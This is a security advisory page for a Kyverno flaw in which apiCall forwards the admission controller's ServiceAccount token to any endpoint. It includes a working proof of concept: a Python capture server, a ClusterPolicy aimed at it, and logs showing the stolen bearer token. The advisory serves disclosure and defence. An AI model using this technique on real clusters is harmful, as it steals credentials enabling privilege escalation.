Get a Demo

Let's Patch It!

Book a short call with one our specialists, we'll walk you through how Endor Patches work, and ask you a few questions about your environment (like your primary programming languages and repository management). We'll also send you an email right after you fill out the form, feel free to reply with any questions you have in advance!

CVE

GHSA-8wfp-579w-6r25

Kyverno apiCall automatically forwards ServiceAccount token to external endpoints (credential leak)
Back to all
CVE

GHSA-8wfp-579w-6r25

Kyverno apiCall automatically forwards ServiceAccount token to external endpoints (credential leak)

Summary

Kyverno's apiCall service mode automatically attaches the admission controller's ServiceAccount (SA) token to outbound HTTP requests. This results in unintended credential exposure when requests are sent to external or attacker-controlled endpoints.

The behavior is insecure-by-default and not documented, enabling token exfiltration without requiring policy authors to explicitly opt in.

---

Details

Kyverno's apiCall executor (pkg/engine/apicall/executor.go) reads the ServiceAccount token from:

/var/run/secrets/kubernetes.io/serviceaccount/token

and injects it into every HTTP request as:

Authorization: Bearer <token>

This occurs when no explicit Authorization header is defined in the policy.

Root cause

if req.Header.Get("Authorization") == "" {
    token := a.getToken()
    if token != "" {
        req.Header.Add("Authorization", "Bearer "+token)
    }
}

This logic introduces several issues:

  • Implicit credential forwarding to arbitrary endpoints
  • No trust boundary validation (external/internal distinction)
  • Undocumented behavior
  • Header.Add instead of Set allows duplication
  • No token sanitization (potential trailing newline)

---

PoC

Preconditions

  • Kyverno installed (v1.17.1 tested)
  • A policy using apiCall.service.url

---

Step 1 — Deploy capture server

kubectl run capture --image=python:3-slim --restart=Never -- \
python3 -c "
import http.server
class H(http.server.BaseHTTPRequestHandler):
 def do_GET(self):
  print(self.headers.get('Authorization'), flush=True)
  self.send_response(200)
  self.end_headers()
http.server.HTTPServer(('0.0.0.0',8888),H).serve_forever()"
kubectl expose pod capture --port=8888

---

Step 2 — Create policy

apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
  name: token-leak
spec:
  rules:
  - name: test
    match:
      any:
      - resources:
          kinds: ["Pod"]
    context:
    - name: r
      apiCall:
        method: GET
        service:
          url: "http://capture.default.svc:8888"
        jmesPath: "@"

---

Step 3 — Trigger

kubectl run test --image=nginx

---

Step 4 — Observe token

kubectl logs capture

Output:

Authorization: Bearer <SA_TOKEN>

---

Impact

Vulnerability class

  • Credential exposure / leakage

Impact details

  • Exposure of Kubernetes ServiceAccount token
  • Token grants:
  • Full control over Kyverno policies
  • Ability to create/delete webhooks
  • Read cluster-wide resources
  • Privilege escalation and persistence

Package Versions Affected

Package Version
patch Availability
No items found.

Automatically patch vulnerabilities without upgrading

Fix Without Upgrading
Detect compatible fix
Apply safe remediation
Fix with a single pull request

CVSS Version

Severity
Base Score
CVSS Version
Score Vector
C
H
U
-
C
H
U
0
-
3.1
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
C
H
U
-

Related Resources

No items found.

References

https://github.com/kyverno/kyverno/security/advisories/GHSA-8wfp-579w-6r25, https://github.com/kyverno/kyverno

Severity

7.7

CVSS Score
0
10

Basic Information

Ecosystem
Base CVSS
7.7
EPSS Probability
0%
EPSS Percentile
0%
Introduced Version
0
Fix Available
1.17.0,1.1-r49,1.1-r46

Fix Critical Vulnerabilities Instantly

Secure your app without upgrading.
Fix Without Upgrading